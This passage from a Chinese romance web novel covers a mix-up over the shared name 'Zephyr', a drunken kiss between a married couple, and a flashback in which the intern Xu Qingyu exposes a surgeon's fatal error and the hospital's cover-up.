Kai频频点头,替好兄弟澄清误会:“对啊,Cyrus可从来没谈过什么女朋友,活得真是和寺庙的高僧一样,心如止水,不为外界所动。” 云听尴尬:“是、是吗?” 当事人还没开口,话痨Kai又开始念:“Cyrus后来嫌烦,直接改了名字。” 说完,他傻乎乎问徐清聿,“不过,Zephyr,你刚才为什么要让我们叫你的曾用名?” 云听捕捉到关键字,她问:“什、什么?Zephyr?” Elliot和徐清聿咳了一声。 Kai:“Yes,Zephyr。” 第29章 第二十九章 以前怎么没发现你这么可爱…… Zephyr? 云听摇晃脑袋, 后悔一股脑儿就给小布偶取名。 她咽了口唾沫,安慰自己:或许只是发音一样,拼写说不定不同。是的, 没准儿这只是一个巧合。 或许徐清聿叫Zefir,Zefer,Zafir,Sever, Xavier? 亡羊补牢,犹未迟也。 如果徐清聿真的叫Zephyr,趁小布偶还不知道自己的名字之前,改名不晚。 她向Kai求证,假装随意地问:“那个……Zephyr的拼写是怎么写的?” Kai没察觉她的不对劲, 准备回答,徐清聿忽然抬起眼,开口:“Z-E-P-H-Y-R。” 一字一顿,口齿清晰。 云听登时一口气堵在喉咙,侥幸心理被彻底击溃, 微笑转瞬即逝。 她低头夹一块菜,脑中回忆起种种不堪回首的画面:自己对小猫说的话,责备小猫不熟悉猫砂盆时的语气,都无比清晰地回放在脑海中。 “Zephyr, 猫砂盆在那里,你得去那里上厕所, 知道吗?” “Zephyr,别装傻,要是被你爸爸发现,你说他会不会不高兴?” 别提还有更离谱的。 今天吃完中饭, 辛亦桐视频电话过来时,云听正抱着自家的猫在沙发上逗它玩。 辛亦桐是猫奴,可惜忙碌的工作让她没有时间养猫,她问:“你家猫到底是公的还是母的?” “我师傅说是公的。” 辛亦桐凑近屏幕,好奇追问:“那你能看到它的蛋蛋吗?” 云听被这句话呛到,咳嗽了一下,赶紧解释:“我看过,Zephyr的蛋蛋很小,不明显的……” 这话刚出口,她便觉察到哪里不妥。 下一秒,一阵轻微的脚步声从身后传来,她转过头,看到徐清聿站在她身后,嘴角一抽。 书房的门刚才关得死死的,徐清聿忙着工作,不会在这时候出来。 云听确定他不会听到,更何况她戴着耳机,所以才会肆无忌惮说一些猥。琐的话。 然而,命运显然喜欢开玩笑。 徐清聿从她身后走过,看着她的眼睛,丢下一长段话:“幼猫的睾。丸确实不太容易看见。仔细观察生殖区域,公猫的会有明显的小圆凸起,长在肛。门和尿。道之间的位置。” 云听的表情凝固住,像一尊雕像,脸上的笑意还停留在上一秒。 耳机里辛亦桐的笑声将她拉回神,“哈哈哈哈哈,这什么一本正经的冷知识!徐清聿双修兽医学吗?” 说罢,他转身走开,留下一室的安静和无地自容的云听。 … 云听恍然大悟,难怪徐清聿当时看起来很奇怪。 爸爸和儿子的名字发音一样,能不奇怪吗? 对面的Elliot端起酒杯,眼神在徐清聿和云听之间来回打转。 似乎云听对徐清聿的英文名一无所知? 他想到徐清聿结婚前曾说过,他对云听没有感情,而云听也对他并无特殊的情愫。 可他观察两人的相处,他们之间的氛围很不同寻常。 徐清聿的情感和情绪从不显山露水,但今天一看,未必如此。他对云听,不可能没有感情。 好几次云听和他们聊天时,他的眼神都会有意无意停在她身上。 见云听头快要埋进桌底,Elliot打破僵局:“Zephyr,你怎么从来不提提自己这么著名的名字,害得嫂子一脸蒙圈。” 闻言,徐清聿把责任抛给装鹌鹑的云听:“她没问。” 云听讪讪:“……我知道你英文名,但是我不知道你改名了。” 徐清聿似笑非笑,掀起眼皮,意味不明说了句:“你不是知道我有女朋友吗?” 云听:“……道听途说?” 徐清聿:“哪条道?” 唐瑶老师的微博。 为了掩饰不自在和尴尬,云听往嘴里塞了几口食物,她没想到徐清聿会问下去,顿时笨口拙舌,憋不出一个字。 脸颊两侧鼓鼓的,像一只小松鼠。 徐清聿为她添满水:“慢点。” 云听心有余悸。 不过看样子徐清聿心情还可以,她紧绷的脸上终于出现轻松的神色。 接下来的对话转向更私人的话题。Kai和Elliot从刚才调侃中转了出来,话题引向事业和未来规划。 徐清聿问:“你打算什么时候回去接手家族生意?” Elliot放下酒杯,脸色沉了沉,“我还是考虑考虑吧。” 他说话时明显不耐烦,继承家业这问题一直困扰他多年,这个沉重的包袱怎么也甩不掉,“我不太喜欢一成不变的生活。” “毕竟,我想做的事,不是那样的。” 徐清聿:“你心里清楚,终究得面对。” Elliot叹了口气,一口闷完半杯酒:“我不想再被束缚在期待里。我还是没想 好,回去到底意味着什么。” Kai见云听一直默不作声地坐着,便笑道:“云,你是怎么看的?你也算了解Cyrus,我这两位哥们,性格差得太远了。Elliot这人一直在逃避责任,Cyrus呢,永远是走在责任前面。” 云听想了下,外人的事她也不好多做评判,委婉道:“我觉得每个人都有自己的选择,也许责任并不总是束缚,有时候它也可以是动力。” 说完,Elliot朝她举杯。 举杯后,他取出一个小巧的盒子,递到云听面前,“给你,嫂子,见面礼。” 徐清聿眼神示意她收下。 云听迟疑,伸出手接过盒子。 打开盒子,里面是一串极为精致的项链,由一颗无瑕的蓝钻和四颗细腻的无色钻石环绕,每一颗钻石的切工都精细到极致,使得整个项链的光辉在不同角度下绽放出无与伦比的光芒,宛如星辰璀璨。 如果云听没记错的话,这条项链前段时间热议得沸沸扬扬,饶是她一向不关注珠宝也有所耳闻。 这串项链名为“Elysian Dream”,象征着永恒与梦幻的完美结合。它出自世界顶级珠宝品牌“Celestia”,该品牌以制作极其稀有且完美的珠宝而闻名。 Elysian Dream是该品牌的绝世之作,它的价值超过了上亿。所以他不仅是财富的象征,更是一种身份与地位的象征。 这样一件珠宝,无可复制,具有不可估量的收藏价值。 “这……这真的太贵重了。”云听下意识地想要将项链还回去,“我不能收,这样的礼物……我不能接受。” 她根本没有准备什么回礼,不能接受一份价值连城的礼物。 Elliot:“这条项链代表一份心意,而且…” 他意味颇深地看了一眼徐清聿,未说完的话引人遐想。 徐清聿道:“收下。” 见他发话,云听也不扭捏,接过沉甸甸的项链,“谢谢,但是我没有给你们准备见面礼。” Elliot摆手,“别这么见外,能送你礼物,我很高兴。”接着又开玩笑道,“不过,既然你收下这份礼物,那以后可得好好为我们调一瓶香水。” 云听嘴角翘起,眼睛弯成了月牙。 她的容颜艳丽至极,但笑起来时,所有的妩媚瞬间消退,取而代之的是一种纯粹的柔和。 她的笑容不像她的容颜锋芒毕露,而是温柔地展开。 她应下,“嗯,好的。” Elliot和Kai不约而同叹道:“嫂子/云,你真的是太迷人了。” 徐清聿面无表情递来一个眼神警告。 …… Kai是个酒迷,知识丰富,他一改先前吊儿郎当的模样,滔滔不绝推广自家品牌的酒,“云,你知道,酒其实就像香水一样,时间、温度、土壤都能影响它的味道。” “我家的酒,每一年都加入一点点新元素。每瓶酒,都是独一无二的,就像调香一样。” 云听听得入神,被Kai的渊博知识吸引。 她轻抿一口酒,品味复杂的层次,两人心里升起共鸣:“你说得对,酒和香水很相似,都有一个演变的过程。从第一口的入口,到最后在嘴里留下的余韵,每一层味道的变化都很微妙。” “你真是个天才,调香师对这些东西的敏感度,简直是与生俱来的。”Kai笑,与云听碰杯,“我每次喝酒,能体会到其中的变化,但你能说出这些层次,简直让我佩服。” 云听微醺,眼眸水光潋滟,“也许只是因为我太喜欢感受这些细节,酒和香水,都有它们自己的语言。” 因为有共同的话题,两人聊得越来越投机,并且加了好友。 云听收回手机时,看到徐清聿静静地看着他,漆黑如墨的眼睛,让她无法从中读出情绪的波动。 她迟钝地朝他一笑,徐清聿扶了扶眼镜,然后收回目光,继续低头喝酒。 回去时,云听有些醉了。 头重脚轻,整个身体仿佛被云雾缭绕。她靠在座位上,眼皮沉重,时不时打着哈欠,周围的世界正在慢慢模糊。 耳边隐约听到徐清聿低沉的声音,他在与司机交谈。 “小刑,开慢点。” “好的,徐先生。” 云听感到车速减缓,她抬起手,扶住额头,想要清醒一些,但脑袋依然沉得厉害,眼皮加重了千斤。 她小声嘀咕:“徐清聿,我……有点醉了……” 话音未落,头便顺势向旁边倾斜,靠在徐清聿肩膀上,睡着了。 徐清聿垂下眼眸。 只见云听鼻尖泛红,微启的双唇像是染了一抹自然的樱色,湿润饱满,带着一点点无意识的轻颤,柔弱又诱人。 徐清聿喉结滚动,调整姿势,让云听睡得更安稳。 到家后,云听挣脱徐清聿的手,晃晃悠悠地向屋内走去,嘴里含含糊糊地嘟囔着什么:“Zephyr……Zephyr……” 声音软糯。 徐清聿皱眉,拉住她的手腕:“找什么?” “猫。”云听站定了一下,晕晕乎乎回头看他,脸颊因为酒意更加红润。她挣了下他的手,喃喃道,“Zephyr呢?我的猫在哪?” 徐清聿:“他在这。” 云听眼神迷离,轻轻“啊”了一声,茫然地看着他,没明白他说的是什么意思,“哪儿?” 徐清聿没有回答,他伸出手,扣住她的后脑,动作果断又急切攫住她的唇,轻而易举探进她的口腔。 事实上,从在车上时,他就有了这个念头,更确切地说,从吃饭时看到她和Elliot侃侃而谈的模样,他的克制就已经开始崩塌。 那时候的云听,眉眼生动,谈吐间透着对工作的热爱和自信,一点点将他的冷静击碎。 徐清聿忍了整整一晚,直到现在终于释放。 云听被这个意料之外的吻弄得怔住了,她的眼睛睁得大大的,唇瓣被他重重地压住,摩擦,口腔里还有湿润柔软的东西,勾住自己的舌头,她只能被动地回应。 可她毕竟醉了,吻着吻着,就忘记呼吸。一分钟后,她感到一阵眩晕,胸口发紧。 徐清聿敏锐地察觉到她的异样,原本沉醉的动作骤然停下。 他松开云听的唇,低头看她的脸。 云听的呼吸急促,眼里带着几分懵懂和迷茫,因为醉意和刚才的亲吻,脸红得像熟透的蜜桃,眼神湿漉漉的,娇软而无助。 徐清聿扶住她的肩膀,让她靠在自己身上,轻声说道,“先呼吸。” 云听呆呆地靠在他怀里,感受着他的温度,嘴里低声问:“为什么……你亲我……” 这话似曾相识。 徐清聿薄唇抿成一线,没有打算回答这个问题。他的手放在她的背上,轻轻拍了拍,语气淡淡地说了句:“呼吸完了,继续。” 云听被他强硬地拉回现实,嘴里轻声嘀咕着什么,但声音太小,连她自己都听不清。 徐清聿看到她的口型:Zephyr。 他伸手托起云听的下巴。云听抬起眼看他,眼神茫然,嘴角却扬起,像是在不知所措的情况下无意识的撒娇。 徐清聿什么也没说,再次吻住她,这一次的吻比刚才深。 云听本能地抓住徐清聿的衣服,软软地贴在他怀里。 一吻结束,徐清聿擦掉她唇上的微弱湿润,声音低哑,“云听,我今天很生气。” 云听眨了眨眼,头一偏,懵懵地看着他:“为什么生气?” 徐清聿看到她那副不知所以的样子,无奈:“因为你和我的朋友聊得太好了。” “聊得我看着就心烦。” 云听歪着头,咬唇小声嘟囔:“嗯?你说什么?” 徐清聿揉了揉她的头发,语气里透着些许宠溺,“算了,你听不懂。” 他顿了顿,又问:“你更喜欢哪个Zephyr?” 云听的眼神飘忽了片刻,认真思考了一下这个问题,慢吞吞地说:“那个Zephyr。” “哪个?” “猫…” 徐清聿目光渐寒,他抿唇:“猫?你选猫?” 云听没有察觉到他的情绪变化,仍旧醉意朦胧,嘟嘟囔囔地继续说道:“对呀,猫又可爱又乖……” 她的声音越来越低,最后突然问了一句,“你明明谈过恋爱,为什么要瞒着你兄弟呢?” 徐清聿 问:“我没有谈过恋爱,你从哪里知道的?” 云听抬起手虚虚地比了个手势,信誓旦旦回答:“微博啊……唐瑶老师的微博。” 徐清聿被她的离谱的回答弄得哭笑不得,他从来不看微博,更不知道云听会关注唐瑶的微博:“我没谈过恋爱,更没有什么微博,我和唐瑶没关系。” 云听歪着头想了想,“她还想和你上。床。” “……”徐清聿叹了口气,“云听我说过,你想知道的,问我,我都会告诉你,不要胡思乱想。” 云听勉强听进了几句,但又摇头,迷迷糊糊地说道:“可……那些事看起来像是真的……我都亲眼看到了……” 徐清聿想解释,但知道她喝醉了,现在说什么她明天多半会忘。 他想了想,突然想起云听随时做备忘录的习惯,他低声说道:“把你的手机拿出来。” 云听乖巧地掏出手机,递给他。 徐清聿接过手机,打开备忘录,把手机放回她手中,说:“我说什么,你写下来。” 云听手指点了几下,敲下几行字,虽然大脑不清醒,但打字的速度和正确性与正常无异,她断断续续念出内容:“徐清聿说,我想知道什么…可以直接去问他…不要胡思乱想…” “徐清聿说…他没有谈过恋爱…” “徐清聿说,他不喜欢我和异性接触…” …… 徐清聿停下,问:“写完了吗?” 云听太困,眼睛都快闭上了,还要被人逼着打字,但又不敢反抗,委屈巴巴说:“写、写完了。” 徐清聿盯着屏幕上的字,仔细确认无误后,又补充:“徐清聿说,他和唐瑶没关系,他也不喜欢云闻。” * 徐清聿爱干净,允许那只和他同名的猫上床已经是他的极限,更别提云听现在满身酒味倒在床上。 他无法容忍床上留下酒味,但显然,这种状态下,云听根本不可能自己洗澡。 徐清聿走近,脱掉大衣,卷起袖子,弯腰抱起她。 云听把脸埋在他的肩颈,温热的气息拂过他的颈侧,徐清聿强行按捺体内的躁热。 她将云听抱进浴室,放在浴缸边的椅子上。 云听乖乖地坐着,目光涣散地看着他,信任地把自己交给他。 徐清聿调试好水温:“乖一点,别乱动。” 他脱下云听的外套,云听没有反抗,甚至主动抬了抬手臂配合他。 接着是毛衣,再接着是裤子……身上的衣物一件件被褪下,云听还是老实巴交坐在那里,任由他摆弄。 “好乖。”徐清聿眉头微挑,他伸出手,指腹触碰云听的脸颊,随即忍不住轻轻捏了一下。 她的脸像是棉花糖一样柔软有弹性,捏一下还会慢慢恢复原状。 难怪他总是见云闻捏她的脸。 云听被这动作弄得不太舒服,偏了偏头,挥开他的手,但只是软软地碰到他的手背,像猫儿挠了一下,完全没有力气。 徐清聿又捏了一下:“还挺娇气。” 云听睁开眼睛,幽怨地瞪了他一眼,随即撇过头,不想搭理他。 徐清聿笑出声,“云听,以前怎么没发现你这么可爱?” 云听以为徐清聿在阴阳怪气她,凶巴巴说了一句:“没有你的唐老师可爱。” 闻言,徐清聿立马露出一副嫌恶的表情,“云听,我白说了是不是?” 他将云听的肩膀掰过来:“我不想说,是因为我觉得恶心。” “唐瑶出国的确是因为我。” 第30章 第三十章 “你不觉得自己恶心吗”…… 徐清聿出生在显赫的医学世家。父亲徐深凛是国内知名的心脏外科专家, 母亲刑时漫则是权威的医学研究员。 从小,他就被父母严格教育:“学医的人,首先要懂得敬畏生命。医术只是工具, 医德才是根本。” 徐深凛常常在饭桌上与刑时漫讨论疑难病例,年幼时他听不懂,但每次听到父亲感慨“治病救人是一份苦差事”,他便会默默记在心里。 刑时漫则常常对他说:“治病救人不是炫耀的资本, 而是一种职责。记住,越高的医术,越要谦卑。” 徐清聿五岁时目睹父亲放弃高薪手术项目,选择去援助偏远山区的医疗点。 他问:“为什么不做能赚钱的手术?” 潜台词是:为什么要走? 徐深凛没有理解他话中的深意,只是拍了拍他的头, 蹲下身解释:“清聿,医者不能只想着自己。” 八岁时,徐淮风出生,与徐清聿成长的环境不同,虽然邢时漫很忙, 但她会抽出时间尽可能陪伴他。 徐淮风和他同样不爱多言、不喜张扬,但本质上截然不同。徐清聿是真冷,性格偏理性克制;而徐淮风是“外冷内热”,他的冷静是温柔的保护色。 所以当两个长相相似、同样面无表情的人站在一起, 所有人都会更喜欢徐淮风。 十五岁时,徐清聿在母亲的研究室里看到一份关于医疗事故的分析报告。刑时漫语重心长对他说:“一个医生犯错不可怕, 可怕的是掩盖错误。” 正是在这样的教育下,徐清聿养成了冷静、理智又极为自律的性格。他总是比同龄人更早明白什么是对错,却也因此显得格格不入,让人觉得过于孤傲, 难以接近。 尽管家族在医学界有着深厚的影响力,但他不想成为“依靠关系的富家子弟”,更不愿让父母和家族的名声为自己开路。 因此,暑假实习期时,他选择了一家与家族毫无关联的私立医院,也是学院老师向他着重推荐的。 这家医院正是唐瑶所在的地方,他的老师正是唐瑶。 “清聿这人挺能干的,就是太冷了。”同组的实习生私下评论,“连唐医生都说他不懂变通。” 对外界的议论,无论是夸赞还是质疑,徐清聿从不在意。 他按部就班地学习、工作,把所有的精力都投入到医学上。他不想讨好任何人,也不想依附任何人。 他第一次见到唐瑶是在一场病例讨论会上。当时,唐瑶正在分析一个复杂病例,目光如炬,语气笃定。 徐清聿注意到她一些分析逻辑存在漏洞,但没有当场指出,而是结束后单独找了她。 “唐老师,我觉得刚刚病例的分析方案可能存在风险,”他就事论事,“如果采用A方案,会导致并发症。” 唐瑶挑了挑眉,一边惊讶于徐清聿的外貌,一边又不屑一个初出茅庐的实习生凭什么质疑她一个经验丰富的医学博士。 她似笑非笑地看着他:“徐清聿是吧?你很有胆量。可惜,这里不是你质疑前辈的地方。” 徐清聿没有惧色,回:“至少在某些方面,医学不是论资排辈的地方。” 从那之后,唐瑶便格外关注徐清聿。 * 一个实习生,进入手术室观看学习是非常困难的。大部分实习生只能在手术室外观看直播,甚至连递送器械的资格都需要等待几个月。 然而,徐清聿因为扎实的医学基础与天赋,很快获得了进入现场观摩的机会。 当时,唐瑶是医院最权威的外科医生之一,她的手术能吸引众多实习医生前来观摩,但能真正进入手术室的却寥寥无几。 徐清聿成为了其中的例外。 “清聿,我的下一场手术需要几名助手,你可以来观摩。”唐瑶在病例讨论会上随口提道。 其他实习医生听到她的话,在私下议论纷纷: “为什么是他?他只是个实习生!” “还用问吗?人家成绩好、能力强,这种机会自然会落到他头上。” “关键人家长得好看,你没看到唐医生有多喜欢他吗?” “唐医生想指定谁就指定谁,毕竟……” “你们说,徐清聿和唐医生是不是私底下在一起了?” …… 手术前一天,徐清聿花了一整晚研究手术方案和患者病历,模拟了手术的关键步骤。 也在笔记本上写满了各种手术风险和应对方案。 “你明天只是观摩,用不着 这么认真。“同组的实习生忍不住劝他。 徐清聿摇头:“能进入手术室,就必须做好万全准备。” 第二天,他穿上无菌手术服,戴上口罩,走进手术室,站在一旁安静地观察。 患者是一名中年男性,确诊为胃癌,需要进行部分胃切除术。术前检查显示,患者的胃壁异常脆弱,同时伴有血管位置的先天异常。 手术风险很高,但唐瑶自信满满,认为这是自己“驾轻就熟”的手术类型。 手术室内,灯光明亮。 麻醉师报告患者生命体征稳定后,唐瑶迅速做了第一刀。 她的动作一贯利落,手术刀划开的皮肤平滑整齐,暴露出的胃部区域清晰。 徐清聿站在一旁,负责观察患者生命体征。 “钳夹。”唐瑶淡定有余地说道。 助手立刻递上器械。 随着胃部逐步显露,徐清聿注意到患者血管分布异常,尤其是胃左动脉的位置较预期更靠近切除区域。他皱了皱眉,低声提醒:“唐老师,患者血管分布可能需要重新确认,建议使用超声探查。” 唐瑶没有抬头,信誓旦旦说道:“不必浪费时间,我有分寸。” 徐清聿的手微微握紧,但他没有再说话。 他知道自己插手主刀医生的决定是僭越,他也不想因自己造成唐瑶分心。 当唐瑶切断胃左动脉附近的组织时,意外发生了——一道暗红色的血流猛然喷涌而出,与此同时,监护仪发出了不规则的警报声,患者血压急速下降。 “患者大出血!BP 80/50,心率 120!”麻醉师的声音陡然提高。 “吸引器!”唐瑶立即下令,试图吸出积血,寻找出血点。 然而血流太快,视野很快被淹没,她的动作变得急促。 “钳夹这里!”她指向切口旁,但助手刚夹上去,血流却从另一侧喷涌而出。 徐清聿站在旁边,冷静地观察着。他的目光迅速扫过出血部位,说道:“唐老师,出血点可能是胃左动脉的变异分支,需要立即转为探查模式,否则止血困难。” “闭嘴!”唐瑶猛地打断他,“我知道该怎么做!轮不到你指手画脚。” 徐清聿的脸色沉了下来,所有人都不敢发声。 只因为唐瑶是专家,是权威。 唐瑶坚持用夹闭的方法尝试止血,但患者的血管因变异而分布异常,导致切断的区域存在多处微小的出血点,短时间内根本无法控制出血量。 “BP降到 60/40!”麻醉师提醒,“患者进入失血性休克了!” 徐清聿意识到问题的严重性,再次开口:“老师,必须立即中止切除,优先进行血管探查,否则患者可能会失血过多而无法抢救!” 唐瑶抬头瞪了他一眼,眼神里压满怒火和威严:“你是主刀医生还是我是?这种手术我做了不下百次,你有经验还是我有经验?再说一句话,就出去!” 徐清聿闭口不语。 经过多人努力,最终止住了大部分出血,但患者因失血过多陷入休克,被紧急送往ICU进行进一步抢救。 术后抢救持续了整整一夜,但患者因术中大出血和失血性休克,最终不治身亡。 第二天早晨,所有参与手术的人员都被召集到了会议室。 唐瑶坐在会议桌的中央,神色疲惫严肃:“昨晚的手术发生了意外,患者的血管解剖结构异常复杂,这是导致术中出血的主要原因。我们团队尽了最大努力,但遗憾的是未能挽回患者的生命。” 她停顿了一下,目光掠过会议室的每一个人,然后继续说道:“术中吸引操作迟缓,暴露视野受阻,直接影响了止血的效率。这是导致患者最终抢救无效的重要因素。” 她语气平平,却无形中将责任指向了参与手术的助手团队。 助手们低头沉默,没有一个人开口为自己辩解。 对于这些已经有一定资历的医生来说,站出来质疑唐瑶无异于自毁职业前途。 既然已经不能挽回,那最好的办法就是明哲保身。大事化小,小事化了。 徐清聿坐在最后一排,眼神冰冷。 所有在现场的人都知道,术中最大的失误不是吸引操作的问题,而是唐瑶在切断血管前未能充分确认解剖结构,她过于自信导致悲剧发生。 “老师。”徐清聿率先质问,也是唯一提出疑问的人,“术中是否有进行血管的超声探查?是否在切断前仔细确认了变异分支的位置?” 会议室寂静无声,所有人都将目光转向了他。他是实习生,这样直白地质疑主刀医生唐瑶,简直不可思议。 唐瑶眯起眼睛,十分肯定,像掷在石板上的铁钉:“徐清聿,你只是个实习生,对手术的复杂性了解不够。术中我们做出的每一步决定,都是在紧急情况下根据经验判断的。” 徐清聿反驳:“经验的确重要,但如果经验凌驾于严谨和规范之上,就可能导致不可挽回的后果。而这次术中的失误,明显是判断不足的问题。” 院长见气氛剑拔弩张,连忙开口打圆场:“好了,手术的责任问题,我们会进一步调查,但徐清聿,作为实习生,你要清楚自己的身份和职责。唐瑶是经验丰富的医生,她的判断是基于多年的临床经验,你需要学会信任你的前辈。” 这番话等于是彻底否认了徐清聿的质疑。 徐清聿冷笑了一下,“院长,作为医生,我们的职责是保护患者,而不是保护某个人的名誉。如果连这一点都做不到,那医学的初心还有什么意义?” 院长皱起眉头,没有回答,他直接忽视徐清聿暗指的话,而是摆摆手示意会议结束。 离开会议室,唐瑶将徐清聿叫到办公室。 她坐在办公桌后,一言一行极具压迫感:“清聿,我知道你对这次手术有意见,但你还年轻,不知道有些事情不是你想的那么简单。医院要面对的是无数患者和家属,必须稳住声誉。所以,有时候一些问题就需要有人承担。” 徐清聿冷冰冰地看着她,没有说话。 “我知道你是个有天赋的年轻人。”唐瑶站起身,走到他面前,“你未来的路还很长,我不希望这件事影响到你的前途。所以,这件事就到此为止,好吗?” 她的手轻轻拍了拍徐清聿的肩膀,暧昧地靠近:“你要明白,我一直很欣赏你,如果你愿意,我们可以有更深层的合作。” 徐清聿后退了一步,讽刺地说道:“老师,您说得没错,我还年轻,但年轻并不意味着可以被迫妥协。” 几天后的下午,患者的家属来到医院,情绪异常激动。 患者的家属是一对年迈的夫妻,他们的儿子年仅三十岁,是家中的唯一支柱。 手术前,他们对医生充满信任,但手术失败后的消息如晴天霹雳,生活瞬间被击碎。 家属的愤怒情绪溢出了言语。他们站在医院的接待大厅,愤怒地质问着前台工作人员:“为什么不告诉我们手术的真实情况?为什么不给我们一个明确的交代?” 声音很大,引起了周围人的注意。 医院并不是第一次面对此类情况,他们的处理方式同先前一样冷静。院长和唐瑶已经提前商议过应对措施,决定给家属一个“满意”的解决方案。 当天晚上,唐瑶亲自联系了患者的家属。 她通过电话 安排了一场会面。 她是医院的资深主治医生,唐瑶知晓自己在医院中的地位,而这场会面显然是她的“手段”之一。 会面当天,她身着一身干练的职业装,准备与家属展开“善后工作”。 她并没有直接从手术失败谈起,而是从患者的病情复杂性、手术中的突发情况入手,强调手术团队已经尽全力挽救患者生命。 “我们医院的每一位医生都怀着一颗拯救生命的心,这场手术,我们已经做出了最大的努力。可惜,患者的身体状况实在太过复杂,手术中的意外我们也没办法预见。” “你们就是这么对待我们的儿子的吗?他还那么年轻,我们辛辛苦苦把他养大,结果……” 患者的母亲跪倒在地,喉咙里发出的哭声嘶哑破碎,像被撕裂的布匹,每一下都让旁人心惊胆战。 泪水肆无忌惮地涌出,顺着脸颊滑落,沾湿了她的衣襟,却没有一刻停歇的意思。 唐瑶将她扶起。 “我非常理解您此刻的痛苦,失去亲人是一种无法言喻的伤痛。我很抱歉您经历了这样的事情。但请相信,医院和我个人,尽了最大的努力。我们也明白您在这样的痛苦中,可能需要更多的帮助。” 唐瑶顿了顿,从包里取出一份文件,递到了家属手中:“我们愿意提供一笔经济补偿,以弥补您的损失。这笔钱来自医院的赔偿基金,我们希望这能帮助您渡过难关。” 家属看到文件,愣了一下,不禁摇头:“钱能弥补我们的伤痛吗?你们到底是不是在敷衍我们?” 唐瑶深知,面对失去亲人的家属,金钱的诱惑有时能迅速安抚他们的情绪。 “我理解您的愤怒,也理解您的伤痛。但您要明白,生命终究不可逆转,金钱无法带回您的亲人。我们没有别的意思,只是希望这笔赔偿能帮助您渡过目前的困境,并让您在未来能够有所保障。” “我承诺,医院会承担全部赔偿责任,确保您无后顾之忧。” 家属沉默,他们看着手中的文件,表情复杂。妻子沉默不语,丈夫在唐瑶的劝说下似乎有所动摇:“这么多钱……” 他犹豫了一下,接过文件,仔细看上面的内容:“这…真的是你们的诚意吗?” “是的。”唐瑶静静地等待家属的决定。 几秒钟后,丈夫开口:“我们不想闹事,只是……只希望你们给个清楚的答复。” “这就是我们的答复。”唐瑶道,“我们会尊重您的选择,希望您能尽快做决定。” 虽然患者家属心中依然难以释怀,但在巨额赔偿的诱惑下,他们最终选择了妥协。 在一番反复权衡后,家属决定接受这笔赔偿金,放弃追究手术失败的责任。 毕竟,这笔钱意味着他们能缓解一些经济压力,尤其是面对未来没有支柱的生活。 在签署协议时,唐瑶再次向家属表示假惺惺的慰问,并表示医院将继续关注他们的生活情况,她私下也会提供更多的帮助。 这些话语虽然听起来真诚,但明眼人都知,这不过是医院在公关危机中的应对手段罢了。 徐清聿目睹了全过程。 他站在医院的走廊里,手中握着那份报告。 患者家属已经接受了医院的赔偿金,放弃了追究责任的权利,手术失败的真相被封锁在了医院的档案中。 可徐清聿不想让真相就这样消失。 他知道自己单枪匹马与院方对抗几乎没有任何胜算,更不用说是面对像唐瑶这样的医生和医院这个强大的体系。 可是一想到,爸妈对他的期望也像一座山压在他身上,尤其是在徐淮风因为手伤不能学医之后,爸妈对他的要求更进一步。 他们希望他不仅仅成为一个合格的医生,更希望他能成为医院和医学界的骄傲。 徐深凛和刑时漫虽然在医学领域具有权威,但他们的力量可能也无法帮助他改变这场医疗事故的真相。 他无数次在内心中挣扎,如果告诉爸妈,他们会理解吗? 如果他们知道,会不会觉得他没有能力去处理好这些事情? 会不会感到失望? 这份责任与压力,沉重到让他窒息。 徐清聿第一次面对这样的事,思虑过后,他打算自己解决。 于是他再次找到院长。 “院长,关于这次手术的真相,我必须再次重申。唐瑶在手术中的失误,不仅仅是一个操作不当的问题,更是判断上的严重错误。” 院长深吸了一口气,脸色黑红交加,不太好看:“徐清聿,你这是在挑衅整个医院的权威。你知道这次事件对医院的影响有多大吗?如果你继续坚持下去,不仅仅是你的职业生涯,整个医学界我们的评价都会受到影响。” 徐清聿不为所动,“院长,我是一个医生,我的职责是治病救人,而不是保护错误。我无法容忍医院为了掩盖真相而牺牲患者的生命。” 院长沉默了片刻,伸出食指指责他:“你知道你在做什么吗?你是在挑战我们整个医疗体系的稳定,是在挑战唐瑶这个名医的威信。你一个年轻人,凭什么去指责她?” 徐清聿始终冷静,条理清晰说;“我不是指责唐瑶,我是在揭露事实。医生犯错是可以理解的,但不能把责任推卸给别人,如果医院不能承认自己的错误,患者的信任又该如何重建?” 最后的结果,他被“请”出了院长办公室。 医院是私立医院,医院当时立即封存了手术室的监控录像,阻止外界看到这一切的真相。 徐清聿通过自己的关系网和对医院内部运作的了解,还是找到了一条获取监控录像的途径,他得到了那段关键的监控视频。 视频清晰地显示出手术中唐瑶的失误,她在关键时刻的操作不当,导致患者失去生命。 这段录像足以证明唐瑶的错误,揭示她在事故中的责任。 当徐清聿把监控录像交给院长时,院长脸色大变,他立刻开始采取措施封锁这一切,企图消除一切可能暴露真相的痕迹,转头又将情况告诉给唐瑶。 因为,院长是唐瑶的亲生舅舅。 唐瑶清楚徐清聿的个性。 如果她不尽早采取行动,这个让她有好感的年轻人最终会揭露她的失误,将她的医学生涯彻底毁掉。 不只现实,还有网络,她无法接受网友铺天盖地的质问和责骂,更不能接受多年累积起来的名气毁于一旦。 为了保护自己,唐瑶决定对徐清聿展开“攻势”。 她开始暗中利用自己的魅力,向徐清聿施加诱惑,通过个人的关系将他引导到她的掌控之中。 徐清聿不为所动。 唐瑶又派人打听徐清聿,发现他来头不小,太爷爷更是曾经推动医疗改革的重要人物之一。 资料上还有一行特别醒目的备注:徐家家风极严,重视医德,从不允许家族成员触碰灰色地带。任何关于家族名誉的污点,都会被坚决抹除。 正当唐瑶焦头烂额时,医院一位知名医生陷入丑闻风波,名声丧失。 唐瑶由此受到启发。 徐清聿的家庭绝不会允许他和年长十岁的人发生关系,更别提自己明面还是他的“老师”。 于是,她假装向徐清聿表示自己有意处理这一事件,并且愿意公开道歉,公布真相,来到徐清聿的家。 “清聿,我知道你一定不喜欢我的行为,但我想要告诉你,我会亲自处理这件事,向公众宣布真相,承认我的错误。你是一个很有责任心的人,我相信你能理解我的立场。” “我不需要你向我证明什么,唐老师,你犯了错,就应该承担责任,而不是说这些空洞的话。”徐清聿不想与她继续争论,“没事您走吧。” 然而,唐瑶并没有离开。 她缓缓脱下了外套,露出里面的性感的睡衣。 一件暗红色的吊带睡衣,设计独特且极具诱惑力。 “清聿,我会听你的话。但是今天我过来,是想说我喜欢你, 非常喜欢。” 唐瑶平常总是直言不讳地向他示好,那种暧昧又易察觉的目光,此前徐清聿一直假装没有看见。 这次,他点破了,“唐老师,你有什么目的?” 唐瑶脸色微变,两秒后恢复淡定,她贴近徐清聿,仰着脸甜腻地叫着他的名字,“清聿。” 